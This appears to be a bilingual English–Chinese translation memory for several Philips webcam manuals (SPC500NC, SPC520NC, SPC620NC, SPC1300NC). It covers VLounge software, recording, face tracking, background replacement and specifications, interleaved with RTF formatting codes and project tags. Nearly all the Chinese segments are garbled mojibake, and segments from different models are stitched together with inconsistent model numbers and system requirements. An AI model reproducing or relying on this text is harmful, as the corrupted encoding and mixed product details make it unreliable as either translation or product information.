Record}’. + +{\f2 1 }{\f4 选择“录制â€}{\f2 (Record)}{\f4 。} + + + +{\b 2 }Select a folder to store the recording in. + +{\f2 2 }{\f4 选择用æ¥å­˜å‚¨å½•åƒæ–‡ä»¶çš„文件夹。} + + + +> Recording starts immediately. + +{\f2 > }{\f4 录制便会立å³å¼€å§‹ã€‚} + + + +> Elapsed playing time, file size and free disk space are shown. + +{\f2 > }{\f4 显示已播放的时间ã€æ–‡ä»¶å¤§å°å’Œå¯ç”¨ç£ç›˜ç©ºé—´ã€‚} + + + +• Select ‘{\b Stop}’ to stop recording. + +•{\f2 }{\f4 选择“}{\f4\b åœæ­¢}{\f4 â€}{\f2 (}{\f2\b Stop}{\f2 ) }{\f4 å¯åœæ­¢å½•åˆ¶ã€‚} + + + +• Select ‘{\b Playback}’ to play the recording. + +•{\f2 }{\f4 选择“}{\f4\b é‡æ”¾}{\f4 â€}{\f2 (}{\f2\b Playback}{\f2 ) }{\f4 å¯æ’­æ”¾å½•åˆ¶çš„视频。} + + + +Instant messenging and Internet calling + +¼´Ê±ÃûâºÃÃøÂçµç»° + + + +(video chatting, video calling and VoIP) + +{\f2 (}{\f4 视频èŠå¤©ã€è§†é¢‘电è¯å’Œ}{\f2 VoIP)} + + + +{\afs18 The Philips SPC500NC/SPC505NC WebCam works with }{\afs18\i all }{\afs18 free instant messenging and VoIP (Voice over Internet Protocol) applications such as Skype,Windows}{\afs14 ® }{\afs18 Live Messenger,Yahoo!} + +{\f2\afs18 Philips SPC500NC/SPC505NC }{\afs18\f4 网络摄åƒå¤´å¯ç”¨äºŽ}{\afs18\f4\i 所有}{\afs18\f4 å…费的å³æ—¶æ¶ˆæ¯å’Œ}{\f2\afs18 VoIP }{\afs18\f4 (基于互è”网å议的语音)应用程åºï¼Œå¦‚}{\f2\afs18 Skype}{\afs18\f4 ã€}{\f2\afs18 Windows}{\f2\afs14 ® }{\f2\afs18 Live Messenger}{\afs18\f4 ã€}{\f2\afs18 Yahoo!} + + + +Messenger,AOL Messenger and QQ. + +{\f2 Messenger}{\f4 ã€}{\f2 AOL Messenger }{\f4 å’Œ}{\f2 QQ}{\f4 。} + + + +• Download and install the desired applications via their websites. + +•{\f2 }{\f4 通过å„自的网站下载并安装所需应用程åºã€‚} + + + +• Follow the on-screen instructions during downloading and installing. + +•{\f2 }{\f4 按照å±å¹•æ˜¾ç¤ºè¯´æ˜Žä¸‹è½½å¹¶å®‰è£…软件。} + + + +• After installing an application, make the required WebCam settings {\i within }the application in order to be able to properly use the WebCam via the application. + +•{\f2 }{\f4 安装应用程åºåŽï¼Œä¸ºäº†èƒ½é€šè¿‡åº”用程åºæ­£ç¡®åœ°ä½¿ç”¨ç½‘络摄åƒå¤´ï¼Œåº”在应用程åºä¸­è¿›è¡Œå¿…è¦çš„设置。} + + + +{\cf17 Real video resolution (Max.) }{\cf18 ..................................VGA (640 x 480)} + +{\cf17\f4 实际视频分辨率(最大)}{\f2\cf17 }{\f2\cf18 ..................................VGA (640 x 480)} + + + +Real still image resolution (Max.) ......................... + +{\f4 实际é™æ­¢ç”»é¢åˆ†è¾¨çŽ‡ï¼ˆæœ€å¤§ï¼‰}{\f2 .........................} + + + +VGA (640 x 480) + +VGA (640 x 480) + + + +Interpolated still image resolution (Max.)Super VGA (800 x 600) + +{\f4 æ’值é™æ­¢ç”»é¢åˆ†è¾¨çŽ‡ï¼ˆæœ€å¤§ï¼‰è¶…级}{\f2 VGA (800 x 600)} + + + +Frames per second ........................................................................30 fps + +{\f4 æ¯ç§’帧数}{\f2 ........................................................................30 fps} + + + +F-number ...............................................................................................2.2 + +{\f4 光圈值}{\f2 ...............................................................................................2.2} + + + +Lens view angle......................................................................54 degrees + +{\f4 镜头å¯è§†è§’度}{\f2 ......................................................................54 }{\f4 度} + + + +{\cf17 Minimum subject illumination .................................................}{\cf18 <} + +{\cf17\f4 物体最低照明度}{\f2\cf17 .................................................}{\f2\cf18 <} + + + +10 lux + +{\f2 10 }{\f4 å‹’å…‹æ–¯} + + + +Interfacing.....................................................................................USB 1.1 + +{\f4 接å£}{\f2 .....................................................................................USB 1.1} + + + +USB cable length ............................................................................1.5 m + +{\f2 USB }{\f4 缆线长度}{\f2 ............................................................................1.5 m} + + + +Microphone ........... + +{\f4 麦克风}{\f2 ...........} + + + +{\cf18 - }{\cf17 External microphone supplied (SPC500NC)} + +—{\f2\cf18 }{\cf17\f4 éšé™„外置麦克风}{\f2\cf17 (SPC500NC)} + + + +- In-ear headset supplied (SPC505NC) + +{\f2 - }{\f4 éšé™„入耳å¼è€³æœº}{\f2 (SPC505NC)} + + + +•{\afs18 Microsoft}{\afs14 ® }{\afs18 Windows}{\afs14 ® }{\afs18 98SE/2000/ME/XP or Vista;} + +•{\f2\afs18 Microsoft}{\f2\afs14 ® }{\f2\afs18 Windows}{\f2\afs14 ® }{\f2\afs18 98SE/2000/ME/XP }{\afs18\f4 或}{\f2\afs18 Vista;} + + + +Where to go for information and support? + +´ÓÄÄÀï¿É»ñµÃÃÅâºÃÖ§³Ö£¿ + + + +Please visit our website: + +Çë·ÃÎÊÎÒÃǵÄÃøÕ¾»ñÈ¡×îòúÆ·ÃÅ⣺ + + + +www.philips.com for the latest product information. + +{\f2 www.philips.com}{\f4 。} + + + +Go to: + +Çë·ÃÎÊ£º + + + +www.philips.com/support for the latest version of drivers and for troubleshooting tips. + +{\f2 www.philips.com/support }{\f4 获å–最新版本的驱动程åºåŠæ•…障排除方法。} + + + +Specifications are subject to change without notice. + +ÈçÓøü¸Ä£¬Ë¡²»ÉùÃ÷¡£ + + + +Trademarks are the property of Koninklijke Philips Electronics N.V. or their respective owners. + +{\f4 所有商标å‡å±ž}{\f2 Koninklijke Philips Electronics N.V. }{\f4 或其å„自拥有者所有。} + + + +2005 © Koninklijke Philips Electronics N.V. All rights reserved. + +{\f2 2005 © Koninklijke Philips Electronics N.V. }{\f4 版æƒæ‰€æœ‰ã€‚} + + + +www.philips.com + +www.philips.com + + + +For adding voice and sound when video chatting and video recording. + +用于在进行视频èŠå¤©æˆ–录制视频时增加语音或声音。 + + + +For talking and listening to your meeting partner during video chatting. + +用于在视频èŠå¤©è¿‡ç¨‹ä¸­å¬å¯¹æ–¹çš„声音或与对方通è¯ã€‚ + + + +Selecting your WebCam + +选择网络摄åƒå¤´ + + + +Capturing images / making video recordings + +抓æ‹å›¾åƒ{\f5 /}录制视频 + + + +Select at least ‘SPC520NCWebCam Driver’ and ‘PhilipsVLounge’ for SPC520NCWebCam as well as for SPC525NCWebCam (software is the same for both WebCams). + +对于{\f5 SPC520NCWebCam }以åŠ{\f5 SPC525NCWebCam},请至少选择“{\f5 SPC520NC }网络摄åƒå¤´é©±åŠ¨ç¨‹åºâ€{\f5 (SPC520NCWebCam Driver) }和“{\f5 PhilipsVLounge}â€ï¼ˆè¿™ä¸¤ç§ç½‘络摄åƒå¤´ä½¿ç”¨ç›¸åŒçš„软件)。 + + + +Features settings + +功能设置 + + + +Grey microphone plug (!) - for connecting to the headphone or green socket of the PC sound card. + +{\cf14 ç°è‰²éº¦å…‹é£Žæ’头 }{\f5 (!)}{\cf14\f2 - }{\cf14 用于连接}{\cf14\f2 PC }{\cf14 声å¡ä¸Šçš„耳机æ’孔或绿色æ’孔。} + + + +Audio cable (SPC525NC only) + +音频缆线(仅{\f5 SPC525NC}) + + + +Black headphone plug (n)- for connecting to the microphone socket of the PC sound card. + +黑色耳机æ’头{\f2 (n) - }用于连接{\f2 PC }声å¡ä¸Šçš„麦克风æ’孔。 + + + +Digital microphone + +数字麦克风 + + +TI-07196, TI-07196 Neroc SPC620NC + +Change background + +æ›´æ¢èƒŒæ™¯ + + +TI-07196, TI-07196 Neroc SPC620NC + +Or: + +或者: + + +TI-07196, TI-07196 Neroc SPC620NC + +For manually adjusting the focus of the lens. + +用于手动调节镜头焦è·ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +Clamp with rubber rims / camera foot + +带橡胶镶边的固定夹{\f2 /}æ‘„åƒå¤´åº•åº§ + + +TI-07196, TI-07196 Neroc SPC620NC + +For attaching the WebCam to your (flat panel) PC monitor or laptop screen. + +用于将网络摄åƒå¤´å›ºå®šåˆ°{\f2 PC }å¹³æ¿æ˜¾ç¤ºå™¨æˆ–笔记本电脑的å±å¹•ä¸Šã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +The clamp can be folded when the WebCam is placed on a desk or (large) desktop monitor. + +将网络摄åƒå¤´æ”¾ç½®äºŽæ¡Œé¢æˆ–(大型)å°å¼æ˜¾ç¤ºå™¨ä¸Šæ—¶ï¼Œå›ºå®šå¤¹å¯æ”¶åˆã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +For adding voice and sound when video calling and video recording. + +å¯åœ¨è¿›è¡Œè§†é¢‘通è¯å’Œè§†é¢‘录制时,添加语音或声音。 + + +TI-07196, TI-07196 Neroc SPC620NC + +Lights up {\cf6 blue} when the WebCam is in use. + +网络摄åƒå¤´æ­£åœ¨ä½¿ç”¨æ—¶ï¼Œ{\f2 LED }会亮起{\cf6 è“}ç¯ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +Page 5 + +Page 5 + + +TI-07196, TI-07196 Neroc SPC620NC + +VLounge + +VLounge + + +TI-07196, TI-07196 Neroc SPC620NC + +Motion detection + +动作æ•æ‰ + + +TI-07196, TI-07196 Neroc SPC620NC + +Broadcasting your videos over the Internet + +在互è”网上å‘布您的视频 + + + +Via VLounge you have access to all camera-related software. + +通过{\f5 Vlounge},您å¯ä»¥è®¿é—®ä¸Žæ‘„åƒå¤´ç›¸å…³çš„所有软件。 + + + +See ‘Operating the WebCam’. + +请å‚阅“网络摄åƒå¤´çš„æ“作â€ã€‚ + + + +(SPC525NC only) + +(仅{\f5 SPC525NC}) + + + +• Connect the black headphone plug (n) to the headphone socket of the PC sound card. + +•{\f2 }将黑色耳机æ’头{\f2 (n) }连接至{\f2 PC }声å¡ä¸Šçš„耳机æ’孔。 + + + +• Connect the grey microphone plug (!) to the microphone orgreen socket of the sound card. + +•{\f2 }å°†ç°è‰²éº¦å…‹é£Žæ’头 {\f5 (!)} 连接至声å¡ä¸Šçš„麦克风æ’孔或绿色æ’孔。 + + + +by clicking the VProperty icon â–ˆ in the Windows taskbar, bottom right of your screen; + +å•å‡»ç”»é¢å³ä¸‹è§’{\f5 Windows }任务æ ä¸Šçš„{\f5 VProperty }图标{\f5 â–ˆ}ï¼› + + + +by selecting ‘PC Camera Settings’ under ‘Preferences’ in the VLounge selection screen; + +在{\f5 Vlounge }选择画é¢çš„“首选项â€{\f5 (Preferences) }选项å¡ä¸‹ï¼Œé€‰æ‹©â€œ{\f5 PC }æ‘„åƒå¤´è®¾ç½®â€{\f5 (PC Camera Settings)}ï¼› + + + +by clicking the â–ˆ icon in the VLounge selection screen. + +在{\f5 Vlounge }ç”»é¢ä¸­å•å‡»{\f5 â–ˆ }图标。 + + + +Shutter speed + +快门速度 + + + +The shutter speed determines how long the camera shutter remains open as a picture is taken. + +快门速度决定摄åƒå¤´çš„快门在æ‹ç…§æ—¶æ‰“开的时间。 + + + +The slower the shutter speed, the longer the exposure time. + +快门速度越慢,æ›å…‰æ—¶é—´è¶Šé•¿ã€‚ + + + +The shutter speed controls the total amount of light reaching the sensor. + +快门速度控制到达传感器的光线总é‡ã€‚ + + + +Use the slider to set the desired shutter speed. + +使用滑å—设置ç†æƒ³çš„快门速度。 + + + +Gain + +增益 + + + +In video, gain is the amount of white in a video picture. + +在视频中,增益是指视频图片的白光é‡ã€‚ + + + +Use the slider to set the desired gain level. + +使用滑å—设置ç†æƒ³çš„增益值。 + + + +This slider provides manual control over the microphone. + +此滑å—å¯ç”¨äºŽæ‰‹å·¥è°ƒèŠ‚麦克风的音é‡ã€‚ + + + +Face tracking + +é¢éƒ¨è·Ÿè¸ª + + + +If you enable the face tracking option the WebCam will track your face. + +如果å¯ç”¨äº†é¢éƒ¨è·Ÿè¸ªé€‰é¡¹ï¼Œç½‘络摄åƒå¤´å°†è·Ÿè¸ªæ‚¨çš„é¢éƒ¨ã€‚ + + + +This will give your more convenience while video chatting, because you don’t need to sit still during your video conversation. + +这样将使视频èŠå¤©æ›´åŠ æ–¹ä¾¿ï¼Œå› ä¸ºæ‚¨åœ¨è¿›è¡Œè§†é¢‘对è¯æ—¶æ— éœ€å®‰é™åœ°åç€ã€‚ + + + +Digital zoom + +æ•°å­—å˜ç„¦ + + + +Use the digital zoom option to get an object closer. + +使用数字å˜ç„¦é€‰é¡¹å¯ä»¥å°†é•œå¤´æ‹‰è¿‘。 + + + +Digital zoom magnifies the pixels but not the actual image. + +æ•°å­—å˜ç„¦åŠŸèƒ½å¯ä»¥æ”¾å¤§å›¾åƒçš„åƒç´ ï¼Œä½†ä¸æ”¹å˜å®žé™…图åƒã€‚ + + + +It degrades image quality. + +图åƒçš„è´¨é‡å°†ä¸‹é™ã€‚ + + + +Use the slider to set the desired volume level. + +使用滑å—设置ç†æƒ³çš„音é‡ã€‚ + + + +All applications can be accessed via the Philips V(ideo)-Lounge application. + +通过{\f5 Philips V(ideo)-Lounge }应用程åºï¼Œå¯ä»¥è®¿é—®æ‰€æœ‰çš„应用程åºã€‚ + + + +VLounge is the central application for easy access to your Philips WebCam. + +{\f5 VLounge }是访问{\f5 Philips }网络摄åƒå¤´çš„核心应用程åºã€‚ + + + +Start VLounge: + +å¯åŠ¨{\f5 Vlounge}: + + + +through the Windows QuickLaunch menu in your taskbar; + +通过任务æ ä¸­çš„{\f2 Windows }快速å¯åŠ¨èœå•ï¼› + + + +via the program group ‘SPC520NC WebCam’; + +通过“{\f5 SPC520NC }网络摄åƒå¤´â€ç¨‹åºç»„ï¼› + + + +by clicking the VLounge icon on the desktop. + +å•å‡»æ¡Œé¢ä¸Šçš„{\f5 VLounge }图标。 + + + +The VLounge application will now be initiated and the Vlounge selection screen appears. + +{\f5 VLounge }应用程åºå³å°†å¯åŠ¨ï¼Œ{\f5 Vlounge }选择画é¢å‡ºçŽ°ã€‚ + + + +When more than one WebCam is installed and connected to your PC / laptop, you can select the WebCam you wish to operate. + +如果您的{\f5 PC/}笔记本电脑安装并连接了一个以上网络摄åƒå¤´ï¼Œæ‚¨å¯ä»¥ä»Žä¸­é€‰æ‹©æ‚¨æƒ³ä½¿ç”¨çš„。 + + + +1 Open the ‘Preferences’ menu. + +{\f5 1 }打开“首选项â€{\f5 (Preferences) }èœå•ã€‚ + + + +Select ‘Video Device’. + +选择“视频设备â€{\f5 (Video Device)}。 + + + +All WebCams connected are shown. + +连接的所有网络摄åƒå¤´æ˜¾ç¤ºå‡ºæ¥ã€‚ + + + +Select the WebCam you wish to operate. + +选择您想è¦ä½¿ç”¨çš„网络摄åƒå¤´ã€‚ + + + +Click the ‘OK’ button. + +å•å‡»â€œ{\b 确定}â€{\f2 (}{\b\f2 OK}{\f2 )}{\b }按钮。 + + + +The VLoungeselection screen for the selected WebCam appears. + +显示所选网络摄åƒå¤´çš„{\f5 Vlounge }选择画é¢å‡ºçŽ°ã€‚ + + + +In the ‘Capture’ menu you can capture images and make video recordings and transfer, preview, edit, e-mail, print and organise your photos and video recordings. + +在“抓æ‹â€{\f5 (Capture) }èœå•ä¸­ï¼Œæ‚¨å¯ä»¥æŠ“æ‹å›¾åƒå’Œå½•åˆ¶è§†é¢‘,并对照片和视频进行传输ã€é¢„览ã€ç¼–辑ã€ç”µå­é‚®ä»¶å‘é€ã€æ‰“å°å’Œæ•´ç†æ“作。 + + + +Click the ‘Capture’ tab to open the Capture menu. + +å•å‡»â€œæŠ“æ‹â€{\f5 (Capture) }选项å¡æ‰“开“抓æ‹â€{\f5 (Capture) }èœå•ã€‚ + + + +> The camera starts operating immediately. + +{\f5 > }æ‘„åƒå¤´ç«‹å³å¼€å§‹å·¥ä½œã€‚ + + + +Click ‘IMAGE’ to capture an image. + +å•å‡»â€œå›¾åƒâ€{\f5 (IMAGE) }抓æ‹å›¾åƒã€‚ + + + +Click ‘VIDEO’ to start a video recording. + +å•å‡»â€œè§†é¢‘â€{\f5 (VIDEO) }开始录制视频。 + + + +Click ‘VIDEO’ again to stop recording. + +å†æ¬¡å•å‡»â€œè§†é¢‘â€{\f5 (VIDEO) }åœæ­¢å½•åˆ¶ã€‚ + + + +Click â–ˆ to maximize the lower part of the screen and display the camera preview. + +å•å‡»{\f5 â–ˆ }最大化画é¢çš„下部,并显示摄åƒé¢„览。 + + + +Click â–ˆ to maximize the upper part of the screen and display your captured images and video recordings. + +å•å‡»{\f5 â–ˆ }最大化画é¢çš„上部,并显示您æ‹æ‘„的图åƒå’Œå½•åˆ¶çš„视频。 + + + +Move your cursor onto a button to see a brief explanation of the button function. + +将光标移至按钮,显示相应按钮功能的简介。 + + + +If you need assistance select ‘Application Help’ in the ‘Help’ menu. + +如果需è¦å¸®åŠ©ï¼Œè¯·åœ¨â€œå¸®åŠ©â€{\f5 (Help) }èœå•ä¸­é€‰æ‹©â€œåº”用程åºå¸®åŠ©â€{\f5 (Application Help)}。 + + + +Click the ‘Communicate’ tab to open the Communicate menu. + +å•å‡»â€œé€šè®¯â€{\f5 (Communicate) }选项å¡æ‰“开“通讯â€{\f5 (Communicate) }èœå•ã€‚ + + + +> The available applications are shown by their icons. + +{\f5 > }å¯ç”¨åº”用程åºçš„图标显示出æ¥ã€‚ + + + +Click the appropriate ‘Install’ button to download and install an application. + +å•å‡»ç›¸åº”的“安装â€{\f5 (Install) }按钮,下载并安装应用程åºã€‚ + + + +Follow the on-screen instructions during downloading and installing. + +按照å±å¹•æ˜¾ç¤ºçš„说明下载和安装软件。 + + + +After installing an application, make the required WebCam settings within the application in order to be able to properly use the WebCam via the application. + +安装了应用程åºåŽï¼Œä¸ºäº†èƒ½å¤Ÿæ­£ç¡®åœ°é€šè¿‡åº”用程åºä½¿ç”¨ç½‘络摄åƒå¤´ï¼Œåº”在应用程åºä¸­è¿›è¡Œå¿…è¦çš„网络摄åƒå¤´è®¾ç½®ã€‚ + + + +Click the appropriate ‘Launch’ button to start an application. + +å•å‡»ç›¸åº”的“è¿è¡Œâ€{\f5 (Launch) }按钮å¯åŠ¨åº”用程åºã€‚ + + + +Digital built-in + +数字内置 + + + +Multimedia headset supplied (SPC525NC) + +多媒体耳机éšé™„{\f5 (SPC525NC)} + + + +•Microsoft® Windows® XP or Vista; + +•{\f5 Microsoft® Windows® XP }或{\f5 Vista}ï¼› + + +TI-07196, TI-07196 Neroc SPC620NC + +If the ‘Language selection’ screen does not appear automatically, open ‘My computer’, double click on the CD, then double click on the 'Setup.exe' icon. + +{\i 如果未自动显示“语言选择â€}{\f2 (}{\i\f2 Language selection}{\f2 )}{\i ç”»é¢ï¼Œè¯·æ‰“开“我的电脑â€ï¼ŒåŒå‡»}{\i\f2 CD }{\i 光盘,然åŽåŒå‡»â€œ}{\i\f2 Set-up.exe}{\i â€å›¾æ ‡ã€‚} + + +TI-07196, TI-07196 Neroc SPC620NC + +All required items are selected by default. + +默认状æ€ä¸‹æ‰€æœ‰å¿…è¦é¡¹éƒ½å·²é€‰ä¸­ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +Select at least ‘SPC620NCWebCam Driver’ and ‘Philips VLounge’. + +至少应选择“{\f2 SPC620NC }网络摄åƒå¤´é©±åŠ¨ç¨‹åºâ€{\f2 (SPC620NCWebCam Driver) }和“{\f2 Philips VLounge}â€ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +> The following screen appears. + +{\f2 > }出现以下画é¢ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +Select ‘{\b Yes}’, then click ‘{\b Finish}’ to restart your PC / laptop. + +选择{\b “是â€}{\b\f2 (Yes)},然åŽå•å‡»â€œ{\b 完æˆ}â€{\b\f2 (Finish) }é‡æ–°å¯åŠ¨æ‚¨çš„{\f2 PC /}笔记本电脑。 + + +TI-07196, TI-07196 Neroc SPC620NC + +Use the clamp and the two rubber rims to attach the WebCam to your (flat panel) PC monitor or laptop screen. + +利用固定夹和两个橡胶镶边将网络摄åƒå¤´å›ºå®šåˆ°{\f2 PC }å¹³æ¿æ˜¾ç¤ºå™¨æˆ–笔记本电脑的å±å¹•ä¸Šã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +•{\b }Fold the clamp to place the WebCam on a desk or (large) desktop monitor. + +•{\b\f2 }收åˆå›ºå®šå¤¹åŽï¼Œå¯å°†ç½‘络摄åƒå¤´æ”¾ç½®äºŽæ¡Œé¢æˆ–(大型)å°å¼æ˜¾ç¤ºå™¨ä¸Šã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +If you enable the face tracking option, the WebCam will track your face. + +如果å¯ç”¨äº†é¢éƒ¨è·Ÿè¸ªé€‰é¡¹ï¼Œç½‘络摄åƒå¤´å°†ä¼šè·Ÿè¸ªæ‚¨çš„é¢éƒ¨ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +This gives {\cf6 you} more convenience while video chatting, because you don’t need to sit still during your video conversation. + +这样将使{\cf6 视频èŠå¤©}更加方便,因为您在进行视频对è¯æ—¶ä¸å¿…一动ä¸åŠ¨åœ°åç€ã€‚ + + +Neroc SPC1300 NC + +18 {\b Audio enhancement} + +{\f2 18 }音频增强 + + +Neroc SPC1300 NC + +This option helps you to enhance the audio quality of the WebCam in order to achieve optimal voice quality when video calling. + +该选项å¯å¸®åŠ©å¢žå¼ºç½‘络摄åƒå¤´çš„音频质é‡ï¼Œä»¥ä¾¿åœ¨è§†é¢‘通è¯æ—¶èŽ·å¾—最佳音质。 + + +Neroc SPC1300 NC + +Use the slider to adjust audio quality to your own personal preference. + +使用滑å—,根æ®æ‚¨çš„个人喜好调节音频质é‡ã€‚ + + +Neroc SPC1300 NC + +2 digital built-in omni directional microphones + +{\f2 2 }个内置全å‘数字麦克风 + + +Neroc SPC1300 NC + +Select ‘Demo mode’ to see a 'live preview' video image on your monitor so you can see the effect of the adjustment on your screen. + +选择“演示模å¼â€{\f2 (Demo mode) }在显示器上观看“实时预览â€{\f2 (live preview) }视频图åƒï¼Œæ‚¨å¯ä»¥åœ¨å±å¹•ä¸Šè§‚看调节效果。 + + +Neroc SPC1300 NC + +helps you to enhance the image and video quality of the WebCam, giving you ultimate sharpness, vivid colors and smooth, natural motion. + +å¯å¸®åŠ©å¢žå¼ºç½‘络摄åƒå¤´çš„图åƒå’Œè§†é¢‘è´¨é‡ï¼Œè¿˜æ‚¨ä»¥ç»ˆæžçš„色彩é”度ã€é€¼çœŸçš„色彩和æµç•…自然的动作。 + + +Neroc SPC1300 NC + +Use the slider to adjust the level of Pixel Plus, added to the live video of your WebCam. + +使用滑å—调节 {\f2 Pixel Plus }的水平,以æ高网络摄åƒå¤´çš„实时视频质é‡ã€‚ + + +Neroc SPC1300 NC + +Demo mode + +æ¼”ç¤ºæ¨¡å¼ + + +TI-07196, TI-07196 Neroc SPC620NC + +This option enables you to replace the actual (real-time) background image by one from the WebCam background list or by one of your own pictures. + +通过此选项,您å¯ä»¥ä½¿ç”¨ç½‘络摄åƒå¤´èƒŒæ™¯åˆ—表中的图åƒæˆ–您自己的图片æ¥æ›´æ¢å®žé™…(实时)背景图åƒã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +Note: + +注: + + +TI-07196, TI-07196 Neroc SPC620NC + +When changing the background, make sure that: + +更改背景时,请确ä¿ï¼š + + +TI-07196 + +- the actual background is static. + +— 实际背景处于é™æ€çŠ¶æ€ï¼› + + +TI-07196, TI-07196 Neroc SPC620NC + +There should be no movement within the WebCam field of view. + +网络摄åƒå¤´çš„视角范围内没有活动。 + + +TI-07196, TI-07196 Neroc SPC620NC + +Not even the movement of a curtain. + +窗帘的晃动都ä¸å…许。 + + +TI-07196 Neroc SPC620NC + +- there is sufficient light in the room. + +— 室内光线充足; + + +TI-07196, TI-07196 Neroc SPC620NC + +The better the lighting conditions, the better the performance of the ‘Change background’ feature. + +光线æ¡ä»¶è¶Šä½³ï¼Œâ€œæ›´æ”¹èƒŒæ™¯â€åŠŸèƒ½çš„效果越好。 + + +TI-07196 Neroc SPC620NC + +- lighting conditions are not changed. + +— 光线æ¡ä»¶åº”ä¿æŒä¸å˜ï¼› + + +TI-07196, TI-07196 Neroc SPC620NC + +Even a slight change in the lighting conditions will negatively influence the image. + +光线æ¡ä»¶å³ä½¿å‡ºçŽ°ç»†å¾®å˜åŒ–也会影å“图åƒçš„è´¨é‡ã€‚ + + +TI-07196 Neroc SPC620NC + +- the colors of the cloths you wear are not the same as the background color. + +— 您穿ç€çš„è¡£æœé¢œè‰²ä¸ŽèƒŒæ™¯é¢œè‰²ä¸åŒï¼› + + +TI-07196 Neroc SPC620NC + +- the WebCam does not move, even the slightest movement will negatively influence the image. + +— 网络摄åƒå¤´æ²¡æœ‰ç§»åŠ¨ï¼›å³ä½¿æ˜¯è½»å¾®çš„移动也会影å“图åƒè´¨é‡ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +To change the background: + +è¦æ›´æ”¹èƒŒæ™¯ï¼š + + +TI-07196, TI-07196 Neroc SPC620NC + +In the ‘{\b Features}’ menu, check the ‘{\b Change background}’ box. + +在“{\b 功能}â€{\f2 (}{\b\f2 Features}{\f2 ) }èœå•ä¸­ï¼Œå‹¾é€‰â€œ{\b 更改背景}â€{\f2 (}{\b\f2 Change background}{\f2 ) }å¤é€‰æ¡†ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +> The last selected background is shown in the preview window. + +{\f2 > }最åŽé€‰æ‹©çš„背景会显示在预览窗å£ä¸­ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +> When the option is enabled for the first time, the first image from the WebCam background list is selected. + +{\f2 > }首次å¯ç”¨è¯¥é€‰é¡¹æ—¶ï¼Œé»˜è®¤é€‰ä¸­çš„是网络摄åƒå¤´èƒŒæ™¯åˆ—表中的首张图åƒã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +Use â–¼ to browse through the WebCam background list and select a background. + +点击{\f2 â–¼ }æ¥æµè§ˆç½‘络摄åƒå¤´èƒŒæ™¯åˆ—表,并选择一个背景。 + + +TI-07196, TI-07196 Neroc SPC620NC + +Use ‘{\b Browse}’ to browse through your harddisk content and select one of your own pictures as background. + +点击“{\b æµè§ˆ}â€{\f2 (}{\b\f2 Browse}{\f2 ) }按钮æ¥æµè§ˆç¡¬ç›˜å†…容,并选择一张自己的图片作为背景。 + + +TI-07196 Neroc SPC620NC + +Make sure the background is properly lit and that there is no movement within the WebCam field of view, then click ‘{\b Take picture}’ and step out of the WebCam field of view. + +ç¡®ä¿èƒŒæ™¯å…‰çº¿å……足并且网络摄åƒå¤´çš„视角范围内没有活动,然åŽå•å‡»â€œ{\b æ‹ç…§}â€({\b\f2 Take picture}),并走出网络摄åƒå¤´çš„视角范围。 + + +TI-07196, TI-07196 Neroc SPC620NC + +> Three seconds are now counted down and a picture of the actual background is taken.You will here a shutter sound. + +{\f2 > }三秒计时åŽä¾¿ä¼šæ‹ä¸‹ä¸€å¹…实际背景图片,并且您将会å¬åˆ°å’”嚓一声。 + + +TI-07196, TI-07196 Neroc SPC620NC + +> The actual background is now replaced by the selected background. + +{\f2 > }此时实际背景便会被所选背景替代。 + + +TI-07196, TI-07196 Neroc SPC620NC + +Add logo + +添加徽标 + + +TI-07196, TI-07196 Neroc SPC620NC + +If you enable this option, a logo image will be placed in one of the corners of the Video stream. + +å¯ç”¨æ­¤é€‰é¡¹æ—¶ï¼Œè§†é¢‘æµçš„一个角è½ä¼šå‡ºçŽ°å¾½æ ‡å›¾åƒã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +By default, the last used logo will be selected when the option is enabled. + +默认状æ€ä¸‹ï¼Œå¯ç”¨æ­¤é€‰é¡¹æ—¶é€‰ä¸­çš„是上次使用的徽标。 + + +TI-07196 Neroc SPC620NC + +When the option is enabled for the first time, the Philips logo will be selected and shown in the upper right corner of the screen. + +首次å¯ç”¨è¯¥é€‰é¡¹æ—¶ï¼Œé»˜è®¤é€‰ä¸­çš„是 {\f2 Philips }徽标,并且该徽标将显示在画é¢å³ä¸Šè§’。 + + +TI-07196, TI-07196 Neroc SPC620NC + +Select the desired corner for the logo to be placed in by checking the corresponding box in the ‘Add logo’ screen. + +在“添加徽标â€{\f2 (Add logo) }ç”»é¢ä¸­å‹¾é€‰ç›¸åº”çš„å¤é€‰æ¡†ï¼Œä»¥é€‰æ‹©è¦å°†å¾½æ ‡æ”¾åœ¨å“ªä¸ªè§’上。 + + +TI-07196, TI-07196 Neroc SPC620NC + +Use â–¼ to browse through the WebCam logo list to select a logo. + +使用{\f2 â–¼ }æ¥æµè§ˆç½‘络摄åƒå¤´å¾½æ ‡åˆ—表,以选择一个徽标。 + + +TI-07196, TI-07196 Neroc SPC620NC + +Browse + +æµè§ˆ + + +TI-07196, TI-07196 Neroc SPC620NC + +Browse through your harddisk content to select one of your own logos. + +æµè§ˆç¡¬ç›˜å†…容,以选择一个自己的徽标。 + + +TI-07196, TI-07196 Neroc SPC620NC + +Logo size + +å¾½æ ‡å¤§å° + + +TI-07196, TI-07196 Neroc SPC620NC + +Use the slider to set the desired logo size. + +使用滑å—设置ç†æƒ³çš„徽标大å°ã€‚ + + +TI-07196, TI-07196 Neroc SPC620NC + +Video frames + +视频框 + + +TI-07196, TI-07196 Neroc SPC620NC + +This option enables you to place an overlay (frame) over the current video stream. + +通过此选项,您å¯åœ¨å½“å‰è§†é¢‘æµä¸Šè®¾ç½®ä¸€ä¸ªè§†é¢‘框。 + + +TI-07196, TI-07196 Neroc SPC620NC + +By default, the last used frame will be used, when the option is enabled. + 